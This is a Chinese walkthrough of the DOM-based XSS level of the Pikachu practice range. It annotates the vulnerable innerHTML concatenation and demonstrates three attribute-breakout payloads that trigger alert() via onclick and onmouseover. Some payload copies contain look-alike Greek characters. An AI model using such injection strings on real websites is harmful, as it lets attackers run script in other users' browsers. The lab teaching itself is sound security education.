pikachu靶場通關筆記08 XSS關卡04-DOM型XSS

目錄

一、XSS原理

二、DOM型XSS

三、源碼分析

1、進入靶場

2、XSS探測

3、源碼分析

四、滲透實戰

1、Payload1

2、Payload2

3、Payload3


本系列為通過《pikachu靶場通關筆記》的XSS關卡(共10關)滲透集合,通過對XSS關卡源碼的代碼審計找到XSS風險的真實原因,講解XSS原理并進行滲透實踐,本文為XSS關卡 04-DOM 型XSS的滲透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站腳本攻擊是一種常見的Web安全風險,因其高危害性位列OWASP Top 10安全威脅。攻擊者通過注入惡意腳本(通常為JavaScript)到網頁中,腳本在其瀏覽器執行。XSS主要分為3種類別,具體如下表所示。

類型原理數據交互危害
反射型 XSS攻擊者誘使用戶點擊含惡意腳本的鏈接,服務器將腳本反射回瀏覽器執行URL 參數傳入惡意腳本,服務器原樣返回泄露用戶敏感信息,如登錄憑證、個人資料等;篡改頁面內容,誤導用戶操作
存儲型 XSS惡意腳本被存儲在服務器端,用戶訪問相關頁面時執行惡意腳本提交到服務器并存儲,用戶訪問頁面時服務器返回含腳本內容影響范圍廣,所有訪問該頁面的用戶都會受到攻擊;可進行大規模的信息竊取、會話劫持
DOM 型 XSS攻擊者通過構造惡意輸入,利用頁面 JS 修改 DOM 結構注入腳本,不涉及服務器處理在頁面表單輸入惡意腳本,頁面 JS 處理輸入時觸發破壞頁面的正常顯示和功能;可能導致用戶在不知情的情況下執行危險操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一種基于瀏覽器文檔對象模型(DOM)的跨站腳本攻擊類型。與反射型和存儲型 XSS 不同,DOM 型 XSS 攻擊不依賴服務器端響應數據,而是利用網頁中 JavaScript 對 DOM 的不當操作來實現。
攻擊者通過精心構造 URL 或誘導用戶輸入惡意數據,使得網頁中的 JavaScript 代碼在處理數據并修改 DOM 結構時,將惡意腳本作為合法內容插入到頁面中。當瀏覽器解析并執行這些惡意腳本時,就會觸發攻擊,如竊取用戶 Cookie、劫持會話等。由于攻擊發生在客戶端瀏覽器,且不涉及服務器數據存儲和直接響應,其檢測和防御相對復雜,需要開發者對前端代碼中的 DOM 操作進行嚴格的安全審查和輸入驗證 。

分類DOM型XSS
存儲位置不經過服務器,惡意代碼存在于URL片段(#后)或前端輸入
觸發方式前端JavaScript動態操作DOM時執行
攻擊場景單頁應用(SPA)、動態網頁、依賴前端路由的Web應用
危害范圍執行惡意腳本的用戶
攻擊特點繞過服務端檢測(WAF無效),純前端風險
防御措施安全的DOM操作(如textContent替代innerHTML)、前端輸入驗證、CSP策略
修復難度中(需全面檢查前端代碼)

三、源碼分析

1、進入靶場

進入pikachu靶場XSS系列關系的04關-DOM型XSS頁面,打開后發現是一個留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探測

輸入關鍵字判斷是否有過濾,關鍵字包括:單引號、雙引號、左右尖括號、問號、&、字符串與數字,接下來我們在搜索框輸入'"<>?&ljn20241019進行探測,如下所示。

???????'"<>?&ljn20241019

測試 發現輸入和輸出有區別,

3、源碼分析

查看DOM型XSS關卡源碼xss_dom.php文件內容,右鍵源碼,CTRL+F搜素關鍵詞上圖中出現的關鍵字what,發現一個js函數,利用了DOM將字符串進行了拼接并把值給a標簽的href,然后輸出

這段代碼存在DOM型 XSS風險,具體的源碼經過詳細注釋后如下所示。

<div id="xssd_main"><script>function domxss(){// 獲取用戶輸入(未經過濾)var str = document.getElementById("text").value;// 直接拼接用戶輸入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻擊者可嘗試的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 閉合標簽并插入惡意圖片// 2. ' onclick="alert('xss')">                → 閉合標簽并添加點擊事件</script><!-- 用戶輸入框 --><input id="text" name="text" type="text" value="" /><!-- 觸發DOM操作的按鈕 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 動態內容插入區域(XSS觸發點) --><div id="dom"></div>
</div>

分析可知本關卡通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str.然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中。產生XSS風險的關鍵代碼如下所示。

function domxss(){var str = document.getElementById("text").value; // 獲取用戶輸入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信數據未經驗證直接插入DOM,這個處理邏輯如下所示。

1)我們通過 <input id=“text” name=“text” type=“text” value="" / > 將字符串賦值給text然后JavaScript?
var str = document.getElementById(“text”).value; 獲取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把這個text字符串整合到a這個標簽中的href里再把a標簽寫入到dom這個標簽中。
3)最后< div id=“dom” >< /div > 執行這個dom標簽

XSS原理如下所示。

XSS類型DOM型XSS
觸發條件用戶輸入直接拼接到innerHTML,未經過濾或編碼
攻擊方式通過閉合標簽(如'>)注入惡意HTML/JS代碼
危害竊取Cookie、釣魚攻擊、頁面篡改

XSS成因與示例如下所示。

問題環節具體風險攻擊示例
未過濾用戶輸入用戶控制的str直接拼接到innerHTML輸入'><img src="#" onmouseover="alert('xss')">
危險API使用innerHTML會解析HTML/JS代碼(非安全文本插入)輸入' onclick="alert('xss')">?閉合標簽并注入事件
缺乏輸出編碼未對用戶輸入的"?'?<?>等字符轉義輸入javascript:alert(1)?可構造惡意鏈

    四、滲透實戰

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    閉合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    點擊click me后,下方生成鏈接,點擊鏈接后,彈框ljn

    分析:右鍵元素-點擊查看器-Ctrl+F搜索關鍵字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    閉合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    閉合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>

    本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
    如若轉載,請注明出處:http://www.pswp.cn/pingmian/82815.shtml
    繁體地址,請注明出處:http://hk.pswp.cn/pingmian/82815.shtml
    英文地址,請注明出處:http://en.pswp.cn/pingmian/82815.shtml

    如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

    相關文章

    安全訪問 std::tuple 的容錯方法及氣象領域應用

    安全訪問 std::tuple 的容錯方法及氣象領域應用 1. std::tuple 安全訪問的核心問題 1.1 元組結構性問題&#xff08;編譯時錯誤&#xff09; 當元組元素數量為空時&#xff08;std::tuple<>&#xff09;&#xff0c;任何訪問元素的嘗試都會導致編譯錯誤?&#xff1a;…

    Webug4.0靶場通關筆記03- 第3關SQL注入之時間盲注(手注法+腳本法 兩種方法)

    目錄 一、源碼分析 1.分析閉合 2.分析輸出 &#xff08;1&#xff09;查詢成功 &#xff08;2&#xff09;查詢失敗 &#xff08;3&#xff09;SQL語句執行報錯 二、第03關 延時注入 1.打開靶場 2.SQL手注 &#xff08;1&#xff09;盲注分析 &#xff08;2&#xf…

    【大模型學習網絡互聯】Memory-Mapped I/O MMIO語義與MEM語義

    MMIO語義和MEM語義的區別 嗯&#xff0c;用戶要求更詳細地區分MMIO和MEM語義&#xff0c;看來之前的中文對比雖然系統但還不夠深入。用戶可能是嵌入式開發者或OS內核學習者&#xff0c;需要從硬件行為層面理解差異。 用戶連續追問MMIO相關概念&#xff0c;說明ta在接觸底層開發…

    如何在使用kickstart安裝物理機操作系統的過程中核對服務器的SN

    原因 在使用kickstart對物理機進行重裝的時候&#xff0c;由于自動化配置&#xff0c;掛載鏡像重啟之后就會自動化開始安裝部署&#xff0c;不夠安全&#xff0c;萬一選錯服務器沒有辦法回退。因此可以在kickstart的ks配置文件中新增服務器SN的校驗&#xff0c;當校驗不通過的…

    spring4第4課-ioc控制反轉-詳解如何注入參數

    堅持住&#xff0c;第四天&#xff0c;繼續學習spring4.詳解如何注入參數 先總結&#xff0c;主要有如下6種&#xff1a; 1&#xff0c;基本類型值&#xff1b; 2&#xff0c;注入 bean&#xff1b; 3&#xff0c;內部 bean&#xff1b; 4&#xff0c;null 值&#xff1b; 5&…

    cf2067A

    原題鏈接&#xff1a;https://codeforces.com/contest/2067/problem/A 題目背景&#xff1a; 給定x,y&#xff0c;判讀是否存在 n 滿足S(n) x&#xff0c;S(n 1) y。定義 S(a) 等于 a 的十進制位數之和。 思路&#xff1a; 不難發現一般 n 和 n 1 的位數之和相差為 1&…

    微信小程序獲取手機號

    詳細代碼 <t-button size"large" theme"primary" variant"outline" data-type"hasCancelBtn" bind:tap"showDialog" block style"display: none;">開放能力按鈕 </t-button> <t-dialog id"t-…

    AI重構SEO關鍵詞精準定位

    內容概要 隨著AI技術深度滲透數字營銷領域&#xff0c;傳統SEO關鍵詞定位模式正經歷系統性重構。基于自然語言處理&#xff08;NLP&#xff09;的智能語義分析引擎&#xff0c;可突破傳統關鍵詞工具的局限性&#xff0c;通過解析長尾搜索詞中的隱含意圖與語境關聯&#xff0c;…

    四足機器人環境監測系統相關問題

    一、在設計四足機器人監測與跟蹤系統整體架構時&#xff0c;你主要考慮了哪些因素&#xff1f;為什么這樣設計以確保系統的高效性與穩定性&#xff1f; 在設計四足機器人監測與跟蹤系統整體架構時&#xff0c;主要考慮了傳感器兼容性與通信效率、多任務并發處理能力、實時數據…

    uniapp 開發安卓app 微信授權獲取昵稱 頭像登錄

    在manifest.json中配置appid 以及appsecret uni.login({provider: weixin,success: function (loginRes) {console.log(loginRes.authResult);// 獲取用戶信息uni.getUserInfo({provider: weixin,success: function (infoRes) {console.log(用戶昵稱為&#xff1a; infoRes.u…

    MySQL8.4組復制

    https://dev.mysql.com/doc/refman/8.4/en/group-replication.html 1 什么是組復制 組復制主要解決了傳統異步復制主機宕機時可能造成主從節點數據不一致問題MySQL Group Replication&#xff0c;簡稱MGR將原有的gtid復制功能進行可增強&#xff0c;支持單主模式和多主模式組復…

    Python后端開發實戰:從0到1搭建高可用API服務

    引言 Python憑借其簡潔的語法和豐富的生態(如Django、Flask、FastAPI等框架),已成為后端開發的主流語言之一。本文將結合一個真實電商API項目,分享從架構設計到部署上線的完整流程,并總結開發過程中常見的坑與最佳實踐。 一、實戰案例:電商API開發流程 1.1 技術選型 框…

    本地部署大模型llm+RAG向量檢索問答系統 deepseek chatgpt

    項目視頻講解: 本地部署大模型llm+RAG向量檢索問答系統 deepseek chatgpt_嗶哩嗶哩_bilibili 運行結果:

    aws instance store 的恢復

    1: aws instance store 要在launch instance 才可以創建,而且,通過snapshot 恢復后,instance store 里面的數據會丟失。 下面是創建instance store 的過程,和通過兩種方式恢復,發現/etc/fstab 不同的寫法,有的不能啟動: [root@ip-xx ~]# lsblk NAME MAJ:MIN RM …

    React 生命周期與 Hook 理解解析

    從生命周期到 Hook&#xff1a;React 組件演進之路 React 組件的本質是管理渲染與副作用的統一體。Class 組件通過生命周期方法實現這一目標&#xff0c;而函數組件則依靠 Hook 系統達成相同效果。 Class 組件生命周期詳解 生命周期完整流程 Class 組件生命周期可分為三大階…

    數字孿生技術賦能西門子安貝格工廠:全球智能制造標桿的數字化重構實踐

    在工業4.0浪潮席卷全球制造業的當下&#xff0c;西門子安貝格電子制造工廠&#xff08;Electronic Works Amberg, EWA&#xff09;憑借數字孿生技術的深度應用&#xff0c;構建起全球制造業數字化轉型的典范。這座位于德國巴伐利亞州的“未來工廠”&#xff0c;通過虛實融合的數…

    從Homebrew找到openssl.cnf文件并拷貝到Go項目下使用

    安裝OpenSSL 在 macOS 上下載和安裝 OpenSSL 最常見和推薦的方式是使用 Homebrew&#xff0c;這是一個 macOS 缺失的包管理器。 如果您還沒有安裝 Homebrew&#xff0c;請先安裝它。安裝 Homebrew 后&#xff0c;安裝 OpenSSL 只需要一條命令。 步驟 1&#xff1a;安裝 Home…

    Qt 的簡單示例 -- 地址簿

    這個工程里有兩個窗口&#xff0c;都是QWidget派生的窗口 主窗口&#xff1a; 1. 運用了布局&#xff0c;按鈕控件&#xff0c;單行編輯框&#xff0c;富文本編輯框等窗口部件&#xff1b; 2. 運用了 QMap 類&#xff1b; 3. 實現了點擊按鈕彈出子窗口的功能&#xff0c;這里子…

    kubernate解決 “cni0“ already has an IP address different from 10.244.0.1/24問題

    問題 NetworkPlugin cni failed to set up pod “coredns-5d4b4db-jkmnl_kube-system” network: failed to set bridge addr: “cni0” already has an IP address different from 10.244.0.1/24 解決方案 這個問題通常是由于Flannel網絡插件殘留配置導致的IP地址沖突。以下…

    QT+opecv如何更改圖片的拍攝路徑

    如何更改相機拍攝圖片的路徑 前言&#xff1a;基礎夯實&#xff1a;效果展示&#xff1a;實現功能&#xff1a;遇到問題&#xff1a;未解決&#xff1a; 核心代碼&#xff1a; 前言&#xff1a; 最近在項目開發中遇到需要讓用戶更改相機拍攝路徑的問題&#xff0c;用戶可自己選…